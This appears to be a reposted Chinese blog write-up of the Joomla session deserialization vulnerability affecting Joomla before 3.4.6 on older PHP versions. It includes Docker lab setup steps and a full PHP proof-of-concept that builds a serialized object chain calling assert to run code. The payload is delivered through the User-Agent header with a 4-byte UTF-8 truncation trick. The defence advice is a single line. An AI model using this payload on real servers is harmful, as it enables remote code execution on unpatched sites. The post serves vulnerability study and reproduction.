Joomla反序列化漏洞

Posted 風月长情

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Joomla反序列化漏洞相关的知识,希望对你有一定的参考价值。

文章目录

一、介绍

1.1 漏洞原理

  php5.6.13前的版本在读取存储好的session时,如果反序列化出错则会跳过当前一段数据而去反序列化下一段数据。而Joomla将session存储在mysql数据库中,编码是utf8,当我们插入4字节的utf8数据时则会导致截断。截断后的数据在反序列化时就会失败,最后触发反序列化漏洞。

1.2 影响版本

joomla<3.4.6
PHP 5.6 <5.6.13、PHP 5.5 <5.5.29、PHP 5.4 <5.4.45

二、漏洞复现

2.1 配置环境

》》运行docker环境

》》配置环境,访问8080端口

》》数据库设置如下:

》》下一步进行安装

》》删除安装目录即可访问主页

2.2 漏洞复现

》》访问登录页面,抓取网络数据包,不带User-Agent发送如下数据,记录返回包中的cookie

》》使用如下脚本,通过此网址生成POC https://sandbox.onlinephpfunctions.com/code/17e7080841ccce12f6c6e0bb1de01b9e390510bd

<?php
class JSimplepieFactory 

class JDatabaseDriverMysql 


class SimplePie 
    var $sanitize;
    var $cache;
    var $cache_name_function;
    var $javascript;
    var $feed_url;
    function __construct()
    
        $this->feed_url = "phpinfo();JFactory::getConfig();exit;";
        $this->javascript = 9999;
        $this->cache_name_function = "assert";
        $this->sanitize = new JDatabaseDriverMysql();
        $this->cache = true;
    


class JDatabaseDriverMysqli 
    protected $a;
    protected $disconnectHandlers;
    protected $connection;
    function __construct()
    
        $this->a = new JSimplepieFactory();
        $x = new SimplePie();
        $this->connection = 1;
        $this->disconnectHandlers = [
            [$x, "init"],
        ];
    


$a = new JDatabaseDriverMysqli();
$poc = serialize($a); 

$poc = str_replace("\\x00*\\x00", '\\\\0\\\\0\\\\0', $poc);

echo "123__test|$poc\\xF0\\x9D\\x8C\\x86";

》》生成成功:

》》将生成成功的代码作为User-Agent,加上上一步获取的Cookie,发送给目标服务器

》》第一次发送的数据包会进入到数据库,在第二次发送时才会成功执行代码

三、防御措施

升级Joomla和PHP到高版本

以上是关于Joomla反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

从一道ctf看php反序列化漏洞的应用场景

如何查出漏洞weblogic java反序列化漏洞补丁存在绕过风险

【CVE-2016-4437】Shiro反序列化漏洞复现

xmldecoder反序列化漏洞分析

由Typecho 深入理解PHP反序列化漏洞

CTFshow刷题日记-WEB-反序列化(web254-278)PHP反序列化漏洞pop链构造PHP框架反序列化漏洞python反序列化漏洞